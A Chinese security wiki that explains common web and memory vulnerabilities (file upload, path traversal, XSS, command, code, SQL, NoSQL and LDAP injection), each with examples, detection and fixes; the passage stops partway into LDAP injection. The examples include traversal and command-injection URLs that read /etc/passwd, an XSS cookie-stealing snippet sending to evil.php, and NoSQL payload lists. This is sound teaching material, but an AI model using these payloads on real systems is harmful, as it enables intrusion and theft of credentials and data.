漏洞安全知识Wiki

漏洞安全知识Wiki

本文从漏洞类型的维度进行知识体系的整理,包含了漏洞介绍、漏洞危害、攻击案例、检测方法、解决方案的内容,部分漏洞类型从代码层了解此类漏洞原理及修复方法。持续更新。

任意文件上传

漏洞描述

  • 文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严或Webserver相关解析漏洞未修复而造成的,如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,攻击者可通过Web 访问的目录上传任意文件,包括网站后门文件(Webshell),进而远程控制网站服务器。

漏洞危害

  • 非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为Webshell,也可将Webshell脚本称为一种网页后门,Webshell脚本具有非常强大的功能,比如查看服务器目录、。服务器中的文件,执行系统命令等。

攻击案例

1
2
3
4
5
6
7
8
9
10
11
12
13
// 定义图片所在的目标位置
var allow_ext = ".jpg|.png|.gif";
// 上传的文件将被保存。
$target = "pictures/" . basename($_FILES['uploadedfile']['name']);
// 将上传的文件移动到新位置。
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target))
{
echo "The picture has been successfully uploaded.";
}
else
{
echo "There was an error uploading the picture, please try again.";
}

对应用平台的攻击

  • .jsp文件上传到Web tree——以Web用户身份执行的JSP代码
  • 上传.gif文件以重新调整大小——利用图片库漏洞
  • 上传大文件——文件空间拒绝服务
  • 使用恶意路径或名称上传文件——覆盖关键文件
  • 上载包含个人数据的文件——其他用户可以访问它
  • 上载包含“标签”的文件——标签被执行为“包含”在网页中的一部分
  • 上载要由防病毒软件扫描的.rar文件——在运行易受攻击的防病毒软件的服务器上执行的命令

检测方法

  • 检测前端代码可以通过JS禁用,尝试上传其他后缀名格式的文件看是否上传成功;

  • 检测content-type,通过修改content-type的文件类型尝试上传目标格式文件;

  • 检测文件头判断文件类型,通过使用常见的文件头的hex编码来确认文件类型;

  • 检测目标是否存在IIS解析漏洞,假设上传一个名为"test.asp;xxx.jpg"时,该文件会被当做asp文件解析;

  • 检测目标是否有Apache解析漏洞,检测目标是否可以使用%00截断等;

修复建议

  • 对上传文件类型进行限制,并且不能只做前端的限制,而要前端和后端一起限制,后端可以进行扩展名检测,重命名文件,MIME类型检测以及限制上传文件的大小,或是将上传的文件放在安全的路径下,尽量放于Web server之外的远程服务器等。

  • 严格限制和校验上传的文件,禁止上传恶意代码的文件。同时限制相关目录的执行权限,防范Webshell攻击。

  • 对上传文件格式进行严格校验及安全扫描,防止上传恶意脚本文件;

  • 设置权限限制,禁止上传目录的执行权限;

  • 严格限制可上传的文件类型;

  • 严格限制上传的文件路径。

  • 文件扩展名服务端白名单校验。

  • 文件内容服务端校验。

  • 上传文件重命名。

  • 隐藏上传文件路径。

任意文件下载

漏洞描述

  • 某些网站可能因为业务需要,提供文件查看或者下载的功能,如果对用户查看或者需要下载的文件不做限制,那么一些攻击者可能构造恶意代码下载网站的敏感文件(源代码,数据库文件,登录密码等)。

漏洞危害

  • 可以下载目标服务器的任意文件,如网站源码、网站配置文件、系统配置文件等。

  • 通过获取的源码进行代码审计,进一步获得可利用的漏洞。

攻击案例

场景1:用header()下载:

1
2
3
4
5
6
<?php
$filename = "uploads/abc.jpg";
header('Content-Type: imgage/jpeg');
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Lengh: '.filesize($filename));
?>

​ Payload:

1
2
vul.php?file=/etc/passwd
vul.php?file=../../../../../../../../etc/passwd

检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
../探测:download.php?filename=aa/../xxx.doc ../../../../etc/passwd
download.php?f=file:///etc/passwd
download.php?f=../ download.php
检测以下url参数:
&RealPath=
&FilePath=
&filepath=
&Path=
&path=
&inputFile=
&url=
&Lang=
&dis=
&data=
&readfile=
&src

修复建议

  • 对下载路径进行过滤,如下载前对传入的参数进行过滤,并且对下载文件类型进行检查,是否是允许下载的类型,另外禁止使用回溯符../

  • 正则严格判断用户输入参数的格式;

  • php.ini配置open_basedir限定文件访问范围

任意文件删除

漏洞描述

  • 未经授权访问者可以进行删除文件、附件、图片、替换、配置等。

漏洞危害

  • 攻击者利用此漏洞可直接删除Web目录甚至服务器上任意格式文件,直接导致业务系统中断、崩溃。

攻击案例

场景1:存在任意文件删除的代码示例:构造服务器上已有文件或文件夹payload,即可删除目标服务器的文件或文件夹。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function del(){
$dir = $this->input->get_post('id',true);
if(empty($dir)){
getjson(L('plub_11'));
}
$dirs = array();
if(!is_array($dir)){
$dirs[] = $dir;
}else{
$dirs = $dir;
}
foreach($dirs as $dir) {
deldir(FCPATH.'attachment/backup/'.$dir);
}
$info['msg'] = L('plub_12');
$info['url'] = site_url('basedb/restore').'?v='.rand(1000,9999);
getjson($info,0);
}

检测方法

  • 判断代码里是否有进行删除操作的函数,对提交的参数进行简单的判断,然后在输入的参数拼接服务器上已有测试文件的目录,删除成功则表示目标存在任意文件删除漏洞。

修复建议

  • 限制文件删除函数可删除的目录位置以及文件类型

  • 文件名非用户可控

  • 禁止使用回溯符../

缓冲区溢出

漏洞描述

  • 缓冲区溢出错误的特征是覆盖了进程的内存片段,这些内存片段永远不要有意或无意地修改。IP(指令指针),BP(基本指针)和其他寄存器的值覆盖会导致异常,分段错误和其他错误发生。通常,这些错误会以意外的方式终止应用程序的执行。当我们对char类型的缓冲区进行操作时,会发生缓冲区溢出错误。缓冲区溢出可以包括溢出堆栈(堆栈溢出)或溢出堆(堆溢出)。

漏洞危害

  • 缓冲区溢出通常会导致崩溃。导致缺乏可用性的其他攻击也是可能的,包括将程序置于无限循环中。

  • 缓冲区溢出可用于执行任意代码,这通常超出程序隐式安全策略的范围。

  • 当后果是执行任意代码时,通常可以使用它来颠覆任何其他安全服务。

攻击案例

  • 场景1:缓冲区大小是固定的,但不能保证argv [1]中的字符串不会超过该大小并引起溢出。
1
2
3
4
5
#define BUFSIZE 256
int main(int argc, char **argv) {
char buf[BUFSIZE];
strcpy(buf, argv[1]);
}

检测方法

  • 在检查代码中是否存在堆栈溢出时,建议搜索对不安全的库函数(如gets()strcpy()strcat()等)的调用,这些函数不会验证源字符串的长度,并盲目地将数据复制到固定大小的缓冲区中。

  • 当将可变大小的数据复制到位于程序堆栈上的固定长度缓冲区而不进行任何边界检查时,就会发生堆栈溢出。

OWASP检测方案:

修复建议

  • 不使用strcpy()sprintf()等不安全的函数,而要在strncpy()memcpy()snprinf()的基础上封装出安全的函数,对copybuffer的内容大小进行限制,超过大小则截断。

空指针漏洞

漏洞描述

  • Null Pointer空指针的引用,对于空指针的错误引用往往是由于在引用之前没有对空指针做判断,就直接使用空指针,还有可能把空指针作为一个对象来使用,间接使用对象中的属性或是方法,而引起程序崩溃,空指针的错误使用常见于系统、服务、软件漏洞方面。当应用程序取消引用它期望是有效的但为NULL的指针时,就会发生NULL指针取消引用,通常会导致崩溃或退出。

漏洞危害

  • 造成程序的崩溃,退出或重新启动。

  • 执行未经授权的代码或命令;读取内存;修改内存。

  • 在极少数情况下,当NULL等于0x0内存地址并且特权代码可以访问它时,就可以写入或读取内存,这可能导致代码执行。

攻击案例

场景1:以下步骤将确保程序不发生空指针取消引用。

1
2
3
4
if (pointer1 != NULL) {
/* make use of pointer1 */
/* ... */
}

场景2:在以下代码中,程序员假定系统始终定义了名为“cmd”的属性。如果攻击者可以控制程序的环境,从而未定义“cmd”,则当程序尝试调用trim()方法时,该程序将引发NULL指针异常。

1
2
3
4
//Example Language: Java 

String cmd = System.getProperty("cmd");
cmd = cmd.trim();

检测方法

  • 自动化动态分析:可以使用动态工具和技术来检测到此弱点,这些工具和技术可以使用具有大量不同输入的大型测试套件与软件进行交互,例如模糊测试(fuzzing),稳定性测试和故障注入。该应用程序的操作可能会变慢,但不应变得不稳定,崩溃或产生错误的结果。

  • 手动动态分析:确定正常使用期间不太可能发生的错误情况并触发它们。例如,在内存不足的情况下运行该程序,没有足够的特权或权限运行该程序,在进程完成之前中断该进程,或禁用与基本网络服务(例如DNS)的连接,监控应用程序是否有意外错误行为。如果您触发了未处理的异常或由应用程序的环境发现并处理的类似错误,则它可能仍指示应用程序本身未处理的意外情况。

修复建议

  • 如果在使用之前对所有可能已修改的指针进行了完整性检查,则可以防止几乎所有的NULL指针取消引用。

  • 在返回值之前,请检查所有返回值的函数的结果,并验证该值是否为非空值。

  • 识别所有从外部来源接收信息的变量和数据存储,并应用输入验证以确保它们仅被初始化为期望值。

  • 在声明过程中或在第一次使用之前,显式初始化所有变量和其他数据存储。

格式化字符串

漏洞描述

当应用程序将输入字符串的提交数据作为命令评估时,就会发生Format String攻击。通过这种方式,攻击者可以执行代码,读取堆栈或在正在运行的应用程序中引起分段错误,从而导致可能损害系统安全性或稳定性的新行为。

漏洞危害

  • 如果服务器端代码将用户输入与格式字符串连接在一起,则攻击者可能会附加其他转换说明符,从而导致运行时错误,信息泄露或缓冲区溢出。

  • 如果攻击者通过修改格式字符串来利用这些功能,则可能导致信息泄露和代码执行。

  • 攻击成功可能造成修改数据、读取数据、获得权限、远程命令执行。

攻击案例

场景1: 导致格式字符串漏洞的代码模式是对包含未经处理的用户输入的字符串格式函数的调用。以下示例显示了调试如何printf使程序易受攻击:

  • C中的示例:
1
2
3
4
char *userName = /* input from user controlled field */;
printf("DEBUG Current user: ");
//存在漏洞的调试代码
printf(userName);
  • Java中的示例:
1
2
3
4
5
final String userName = /* input from user controlled field */;

System.out.printf("DEBUG Current user: ");
// 存在漏洞的代码:
System.out.printf(userName);
  • 在此特定示例中,如果攻击者将其设置userName为具有一个或多个转换说明符,则将出现有害的行为。C示例将打印出内存内容(如果userName包含)%p%p%p%p%p,并且如果%n字符串中有a,它可能会破坏内存内容。在Java示例中,username包含任何需要输入(包括%x或%s)的说明符的都会导致导致程序崩溃IllegalFormatException。尽管示例仍然存在其他问题,但是可以通过使用printf参数修复该漏洞printf("DEBUG Current user: %s", userName)

检测方法

  • 存在漏洞的先决条件:目标应用程序必须接受字符串作为用户输入,无法清理用户输入中的字符串格式字符,并使用解释字符串格式字符的函数来处理此字符串。

  • 静态分析工具可以在代码或二进制文件中找到格式字符串漏洞。工具示例包括:

    CC ++Flawfinder

    JavaFindSecurityBugs规则FORMAT_STRING_MANIPULATION

    PHPphpsa中的字符串格式分析器

  • 手动代码检查:静态分析可能会错过更复杂的情况,包括复杂代码生成的格式字符串。要在代码库中手动查找漏洞,测试人员可以在代码库中查找所有接受格式字符串的调用,然后回溯以确保不受信任的输入无法更改格式字符串。

  • 手动注入:测试人员可以使用Web浏览器或其他Web API调试工具执行手动测试。浏览到Web应用程序或网站,以使查询具有转换说明符。请注意,如果大多数转换说明符在URL中发送,则需要进行编码,因为它们包含特殊字符,包括%和{。该测试可以%s%s%s%n通过使用以下URL浏览来引入说明符字符串:

1
https://vulnerable_host/userinfo?username=%25s%25s%25s%25n

​ 如果网站容易受到攻击,则浏览器或工具应收到错误消息,其中可能包括超时或HTTP返回码500。

Java代码返回错误

1
java.util.MissingFormatArgumentException:  Format specifier '%s'
根据`C`的实现,该过程可能会完全崩溃`Segmentation Fault`。

修复建议

  • 限制格式化字符串函数的使用。

  • 输入验证:必须对所有用户可控制的输入进行验证并过滤掉非法格式字符。

跨站脚本攻击(XSS)

漏洞描述

  • 跨站脚本攻击(Cross-site scripting,简称XSS攻击),通常发生在客户端,可被用于进行隐私窃取、钓鱼欺骗、密码偷取、恶意代码传播等攻击行为。XSS攻击使用到的技术主要为HTMLJavascript脚本,也包括VBScriptActionScript脚本等。

  • 恶意攻击者将对客户端有危害的代码放到服务器上作为一个网页内容,用户不经意打开此网页时,这些恶意代码会注入到用户的浏览器中并执行,从而使用户受到攻击。一般而言,利用跨站脚本攻击,攻击者可窃取会话cookie,从而获得用户的隐私信息,甚至包括密码等敏感信息。

  • 存在三种XSS类型,通常针对用户的浏览器:

    反射式XSS:应用程序或API包括未经验证和未经转义的用户输入,作为HTML输出的一部分。一个成功的攻击可以让攻击者在受害者的浏览器中执行任意的HTMLJavaScript。 通常,用户将需要与指向攻击者控制页面的某些恶意链接进行交互,例如恶意漏洞网站,广告或类似内容。

    存储式XSS:你的应用或者API将未净化的用户输入存储下来了,并在后期在其他用户或者管理员的页面展示出来。 存储型XSS一般被认为是高危或严重的风险。

    基于DOMXSS:会动态的将攻击者可控的内容加入页面的JavaScript框架、单页面程序或API存在这种类型的漏洞。理想的来说,你应该避免将攻击者可控的数据发送给不安全的JavaScript API

  • 典型的XSS攻击可导致盗取session、账户、绕过MFADIV替换、对用户浏览器的攻击(例如:恶意软件下载、键盘记录)以及其他用户侧的攻击。

漏洞危害

  • 网络钓鱼,包括盗取各类用户账号

  • 窃取用户cookie资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作

  • 劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账,强制发表日志,发送电子邮件等

  • 强制弹出广告页面,刷流量等

  • 网页挂马

  • 进行恶意操作,例如任意篡改页面信息,删除文章等

  • 进行大量的客户端攻击,如DDOS攻击

  • 获取客户端信息,例如用户的浏览历史,真实ip,开放端口等

  • 控制受害者机器向其他网站发起攻击

  • 结合其他漏洞进一步扩大攻击

  • 提升用户权限,包括进一步渗透网站

  • 传播XSS跨站脚本蠕虫等

攻击案例

场景1:以下JSP代码段从HTTP请求读取员工ID eid,并将其显示给用户。

1
2
3
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>

如果eid仅包含标准字母数字文本,则此示例中的代码将正确运行。如果eid的值包含元字符或源代码,则该代码将由Web浏览器执行,因为它显示HTTP响应。

场景2:获取目标用户Cookie

如果应用程序不验证输入数据,则攻击者可以轻松地从经过身份验证的用户那里窃取cookie。攻击者所需要做的就是将以下代码放置在任何张贴的输入中(即:留言板,私人消息,用户个人资料):

1
2
3
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>

上面的代码会将cookie的转义内容(根据RFC内容必须先转义,然后才通过GET方法通过HTTP协议将其发送)传递给“cakemonster”变量中的evil.php脚本。攻击者然后检查其evil.php脚本的结果(cookie抓取程序脚本通常会将cookie写入文件)并使用它。

检测方法

XSS常见测试语句:

1
2
3
4
<script>alert(xss)</script>
<img src=x onerror=alert(xss)>
<svg onloda=alert(xss)>
<a href=javascript:alert(xss)>

修复建议

  • 拒绝将不受信任的数据放入HTML文档中,验证所有用户输入数据,有效检测攻击;对所有输出数据进行适当的编码,以防止任何已成功注入的脚本在浏览器端运行。

  • 将不受信任的数据插入HTML元素内容之前进行HTML转义。在规范中建议使用命名实体进行转义:

    1
    2
    3
    4
    5
    6
    & --> &amp;
    < --> &lt;
    > --> &gt;
    " --> &quot;
    ' --> &#x27;
    / --> &#x2F;
  • HTML属性编码转义:除字母数字字符外,请以HTML实体&#xHH;格式转义所有字符,包括空格(HH=十六进制值)。

  • URL编码:对URL参数值进行URL编码。URL编码标准,参考 https://www.w3schools.com/tags/ref_urlencode.asp

  • JavaScript编码:除字母数字字符外,请以\uXXXX Unicode转义格式(X =整数)转义所有字符。

  • CSS十六进制编码:CSS转义支持\XX\XXXXXX。如果下一个字符继续转义序列,则使用两个字符转义会导致问题。有两种解决方案(a)在CSS转义符后添加一个空格(CSS解析器将忽略该空格)(b)使用通过零填充该值而可能的全部CSS转义。

  • 过滤以下常见字符:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    |
    &
    ;
    $
    %
    @
    '
    "
    \'
    \"
    <>
    ()
    +
    CR(回车符,ASCII 0x0d)
    LF(换行,ASCII 0x0a)
    ,
    \

命令注入

漏洞描述

  • 命令注入是一种攻击,其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令。当应用程序将不安全的用户提供的数据(表单,cookieHTTP标头等)传递给系统shell时,可能会发生命令注入攻击。在此攻击中,攻击者提供的操作系统命令通常以易受攻击的应用程序的权限执行。命令注入攻击很可能主要是由于输入验证不足。

  • 系统命令注入(也称为shell注入)是一个Web安全漏洞,它使攻击者可以在运行应用程序的服务器上执行任意系统(OS)命令,并且通常会完全破坏该应用程序及其所有数据。攻击者通常可以利用OS命令注入漏洞来破坏托管基础架构的其他部分,利用信任关系将攻击转移到组织内的其他系统。

漏洞危害

  • 当应用程序将不安全的用户提供的数据(表单,cookieHTTP标头等)传递给系统shell时,可能会发生命令注入攻击。在此攻击中,攻击者提供的操作系统命令通常以易受攻击的应用程序的权限执行。

  • 攻击者可以执行未经授权的命令,然后可以使用这些命令来禁用目标系统的应用软件,或者读取和修改攻击者没有权限直接访问的数据。

  • 成功利用此漏洞会造成:执行未经授权的代码或命令;DoS:崩溃,退出或重新启动;读取/修改文件或目录;读取应用数据;修改申请数据;

攻击案例

  • 命令注入漏洞通常在以下情况下发生:

    数据从不受信任的来源进入应用程序。

    数据是由应用程序作为命令执行的字符串的一部分。

    通过执行命令,应用程序为攻击者提供了攻击者无法拥有的特权或功能。

场景1:在.PHP页面的URL末尾添加分号,后跟操作系统命令,将执行该命令。%3B URL编码并解码为分号。

1
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd

场景2:以下PHP代码段容易受到命令注入攻击:

1
2
3
4
5
6
<?php
print("Please specify the name of the file to delete");
print("<p>");
$file=$_GET['filename'];
system("rm $file");
?>

请求和响应是成功攻击的示例:

1
2
3
4
5
<!--请求-->
http://127.0.0.1/delete.php?filename=bob.txt;id
<!--响应-->
Please specify the name of the file to delete
uid=33(www-data) gid=33(www-data) groups=33(www-data)

检测方法

  • cmd1|cmd2:使用|将使命令2执行成功,而命令1执行成功与否。

  • cmd1;cmd2:使用;将使命令2执行成功,而命令1执行成功与否。

  • cmd1||cmd2 :仅当命令1执行失败时,才会执行命令2。

  • cmd1&&cmd2 :仅当命令1执行成功时,才会执行命令2。

  • $(cmd):例如,echo $(whoami)$(touch test.sh; echo 'ls' > test.sh)

  • cmd:用于执行特定命令。例如,whoami

  • >(cmd)>(ls)

  • <(cmd)<(ls)

修复建议

  • 需要清理URL和表单数据中的无效字符。可以将字符列入黑名单,但是可能很难想到要针对其进行验证的所有字符。也可能有一些尚未被发现。应该创建仅包含允许的字符或命令列表的白名单,以验证用户输入。此列表应消除错过的角色以及未发现的威胁。

  • 可以包括用于命令注入的常规黑名单:

    1
    | ; & $ > < ' \ ! >> #
  • 对于Windows转义或过滤以下特殊字符:

    1
    ( ) < > & * ‘ | = ? ; [ ] ^ ~ ! . ” % @ / \ : + ,
  • 对于Linux,转义或过滤以下特殊字符:

    1
    { } ( ) > < & * ‘ | = ? ; [ ] $ – # ~ ! . ” % / \ : +`,

审查以下函数

Java

1
Runtime.exec()

C/C++

1
2
3
system
exec
ShellExecute

Python

1
2
3
4
5
6
exec
eval
os.system
os.popen
subprocess.popen
subprocess.call

PHP

1
2
3
4
5
sytem
shell_exec
exec
proc_open
eval

​ (1)尽量不要执行外部的应用程序或命令,严格过滤用户输入的数据,禁止执行非预期系统命令。

​ (2)使用自定义函数或函数库实现外部应用程序或命令的功能。

​ (3)在执行systemeval等命令执行功能的函数前,确定参数内容。

​ (4)使用escapeshellarg函数处理相关参数。Escapeshellarg函数会将任何引起参数或命令结束的字符进行转义,如单引号“’”会被转义为“\’”,双引号“”会被转义为“\””,分号“;”会被转义为“\;”,这样escapeshellarg会将参数内容限制在一对单引号或双引号里面,转义参数中所包含的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的。

​ (5)使用safe_mode_exec_dir执行可执行的文件路径。将php.ini文件中的safe_mode设置为On,然后将允许执行的文件放入一个目录中,并使用safe_mode_exec_dir指定这个可执行的文件路径。这样,在需要执行相应的外部程序时,程序必须在safe_mode_exec_dir指定的目录中才会允许执行,否则执行将失败。

代码注入

漏洞描述

  • 用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。代码以目标应用程序的语言注入,并由该语言的服务器端解释器执行——PHPPythonJavaPerlRuby等。

  • 代码注入与命令注入的不同之处在于,攻击者仅受注入语言本身的功能的限制。如果攻击者能够将PHP代码注入到应用程序中并执行该代码,则它们仅受PHP能力的限制。命令注入包括利用现有代码来执行命令,通常是在shell上下文中执行。

漏洞危害

  • 通过注入的代码可以访问直接阻止攻击者访问的资源。

  • 成功执行代码注入攻击都可能导致数据完整性丧失、机密性丧失,因为注入的代码数据始终与数据调用或写入有关。此外,代码注入通常可以导致执行任意代码。

  • 成功执行代码注入可以绕过身份验证。

攻击案例

场景1:当开发人员使用PHP eval()函数并向其传递攻击者可以修改的不受信任的数据时,可能会注入代码。

​ 下面的示例显示了使用eval()函数的危险方式:

1
$myvar = "varname";  $x = $_GET['arg'];  eval("\$myvar = \$x;");

​ 由于没有输入验证,因此上面的代码容易受到代码注入攻击。

​ 例如:

1
/index.php?arg=1; phpinfo()

​ 在利用此类错误时,攻击者可能想要执行系统命令。在这种情况下,代码注入错误也可以用于命令注入,例如:

1
/index.php?arg=1; system('id')

检测方法

  • 测试PHP注入漏洞

  • 使用查询字符串,测试人员可以注入要处理的代码(在此示例中为恶意URL),作为所包含文件的一部分:

1
http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a
  • 恶意URL被接受为PHP页面的参数,该页面稍后将使用包含文件中的值。

修复建议

  • 验证和清除输入:扫描转义字符应用程序语言和操作系统的其他特殊符号,例如注释标记,行终止字符和命令定界符。如果应用程序只希望使用一组有限的值,请仅接受这些值,例如通过将其列入白名单或有条件地将其放行。

  • 避免使用脆弱的评估构造:尽可能避免在原始用户输入上使用eval()和等效函数。使用特定于语言的专用功能来安全处理用户提供的参数。

  • 将所有输入数据视为不可信:请注意用户可以为应用程序提供或处理数据的所有位置。除了查询字符串和HTML表单之类的明显注入向量之外,还可以通过特制数据文件,手动修改的cookie和其他方法注入代码。

  • 限制解释器:如果您可以控制服务器配置,则可能需要将解释器功能限制为应用程序所需的最低限度,以防止升级为系统命令注入。例如,如果PHP应用程序不使用system()函数,则可以通过在disable_functions指令中对其进行指定来在php.ini文件中禁用该函数。通常禁用的PHP函数包括:exec()passthru()shell_exec()system()proc_open()popen()curl_exec()curl_multi_exec()parse_ini_file()show_source()

  • 检查代码:使用静态代码检查工具扫描与输入验证和不安全评估有关的漏洞。

  • 扫描应用程序:使用动态Web漏洞扫描程序以确保应用程序不受各种类型的攻击(包括代码注入)的影响。

SQL注入

漏洞描述

  • 通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。 导致敏感信息泄漏、破坏数据库内容和结构、甚至利用数据库本身的扩展功能控制服务器操作系统。

漏洞危害

  • 攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。在特别情况下,还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取Webshell或者服务器系统权限。

攻击案例

场景1:应用程序在下面存在脆弱性的SQL语句的构造中使用不可信数据:

1
String  query = "SELECT * FROM accounts WHERE custID='" +  request.getParameter("id") + "'“;

场景2:同样的,框架应用的盲目信任,仍然可能导致查询语句的漏洞。(例如:Hibernate查询语言(HQL)):

1
Query HQLQuery =  session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id")  + "'");

​ 在这两个案例中,攻击者在浏览器中将“id”参数的值修改成:

or’1’=’1。例如:http://example.com/app/accountView?id=' or '1'='1这样查询语句的意义就变成了从accounts表中返回所有的记录。更危险的攻击可能 导致数据被篡改甚至是存储过程被调用。

检测方法

  • 提交单引号字符'并查找错误或其他异常。

  • 提交一些特定于SQL的语法,以评估入口点的基础(原始)值和其他值,并在所得应用程序响应中寻找系统差异。

  • 提交布尔条件,例如OR 1=1OR 1=2, and在应用程序的响应中寻找差异。

  • 提交旨在在SQL查询中执行时触发时间延迟的有效负载,并寻找响应时间的差异。

  • 提交旨在在SQL查询中执行时触发带外网络交互的OAST有效负载,并监视所有结果交互。

修复建议

  • 代码层最佳防御SQL注入方案:采用sql语句预编译和绑定变量,是防御sql注入的最佳方法。

    (1)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。

    (2)对进入数据库的特殊字符(’”<>&*;等)进行转义处理,或编码转换。

    (3)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。

    (4)数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。

    (5)网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。

    (6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。

    (7)避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。

NoSQL注入

漏洞描述

  • NoSQL数据库调用都写在应用程序的编程语言,一个自定义的API调用,或格式化按照通常的习惯(如XMLJSONLINQ,等)。针对这些规范的恶意输入可能不会触发主要的应用程序过滤检查。例如,过滤掉常见的HTML特殊字符(例如)“< > & ;”不会阻止针对JSON API的攻击,其中特殊字符包括“/ { } :”。

  • 与传统的SQL注入相比,NoSQL注入攻击可能在应用程序的不同区域中执行。在数据库引擎内执行SQL注入的地方,NoSQL变体可以在应用程序层或数据库层内执行,具体取决于所使用的NoSQL API和数据模型。通常,NoSQL注入攻击将在攻击字符串被解析,评估或连接到NoSQL API调用的地方执行。

漏洞危害

  • NoSQL注入攻击可以在过程语言中而不是在声明性SQL语言中执行,因此其潜在影响要大于传统SQL注入。

攻击案例

场景1:如果攻击者能够操纵传递给$where运算符的数据,则该攻击者可以包含任意JavaScript,以将其评估为MongoDB查询的一部分。如果用户输入不经过清理就直接传递到MongoDB查询中,则以下代码中暴露了一个示例漏洞。

1
db.myCollection.find( { active: true,  $where: function() { return obj.credits - obj.debits < $userInput; } } );;

​ 与测试其他类型的注入一样,不需要完全利用此漏洞来证明问题。通过注入与目标API语言相关的特殊字符并观察结果,测试人员可以确定应用程序是否正确清 除了输入。例如,在MongoDB中,如果未经过滤传递包含以下任何特殊字符的字符串,则会触发数据库错误。

1
' " \ ; { }

​ 使用普通的SQL注入,类似的漏洞将使攻击者可以执行任意SQL命令-随意公开或处理数据。但是,由于JavaScript是一种功能全面的语言,因此,这不仅使攻 击者可以操纵数据,还可以运行任意代码。例如,一个完整的利用漏洞不仅会在测试时引起错误,还可以使用特殊字符来制作有效的JavaScript

检测方法

  • MongoDB NoSQL注入常见测试payloads

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    true, $where: '1 == 1'
    , $where: '1 == 1'
    $where: '1 == 1'
    ', $where: '1 == 1
    1, $where: '1 == 1'
    { $ne: 1 }
    ', $or: [ {}, { 'a':'a
    ' } ], $comment:'successful MongoDB injection'
    db.injection.insert({success:1});
    db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
    || 1==1
    ' && this.password.match(/.*/)//+%00
    ' && this.passwordzz.match(/.*/)//+%00
    '%20%26%26%20this.password.match(/.*/)//+%00
    '%20%26%26%20this.passwordzz.match(/.*/)//+%00
    {$gt: ''}
    [$ne]=1
    ';sleep(5000);
    ';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
  • MongoDB中测试NoSQL注入漏洞

    MongoDB API需要BSON(二进制JSON)调用,并包括一个安全的BSON查询组装工具。但是,根据MongoDB文档,在几个替代查询参数中允许未序列化的JSONJavaScript表达式。允许任意JavaScript输入的最常用的API调用是$where运算符。

    由于$whereSQL中,MongoDB运算符通常用作简单的过滤或检查。

    1
    db.myCollection.find( { $where:  "this.credits == this.debits" } );

修复建议

  • 为了避免NoSQL注入,必须始终将用户输入视为不受信任。可以执行以下操作来验证用户输入:

  • 使用输入过滤库,例如mongo-sanitizemongoose

  • 如果找不到适合开发环境的库,请将用户输入转换为期望的类型。例如,将用户名和密码转换为字符串。

  • MongoDB的情况下,切勿在用户输入中使用wheremapReducegroup运算符,因为这些运算符使攻击者能够注入JavaScript,因此比其他运算符更加危险。

  • 为了加强安全性,可以将mongod.confjavascriptEnabled设置为false

  • 以最低的权限运行应用程序,以便即使被利用,攻击者也无法访问其他资源。

LDAP注入

漏洞描述

  • LDAP(轻型目录访问协议)注入是一种攻击,用于利用基于Web的应用程序构建基于用户输入的LDAP语句。当应用程序无法正确清理用户输入时,可以使用本地代理修改LDAP语句。这可能导致执行任意命令,例如向未经授权的查询授予权限以及LDAP树中的内容修改。SQL注入中可用的相同高级利用技术可以类似地应用于LDAP注入中。

漏洞危害

  • 攻击者可以更改LDAP查询的输入,该输入允许执行未授权的代码或命令,允许读取或修改敏感数据或导致其他意外行为。

攻击案例

场景1:以下代码使用用户输入地址数据构造LDAP查询:由于代码无法中和用于构造查询的地址字符串,因此攻击者可以提供包含其他LDAP查询的地址。

1
2
3
4
Example Language: Java 
context = new InitialDirContext(env);
String searchFilter = "StreetAddress=" + address;
NamingEnumeration answer = context.search(searchBase, searchFilter, searchCtls);

检测方法

场景1:搜索过滤器

​ 假设我们一个Web应用的搜索过滤器,如下所示:

1
searchfilter="(cn="+user+")"

​ 可以通过HTTP请求实例化:

1
http://www.example.com/ldapsearch?user=John

​ 如果将值John替换为*,则通过发送请求:

1
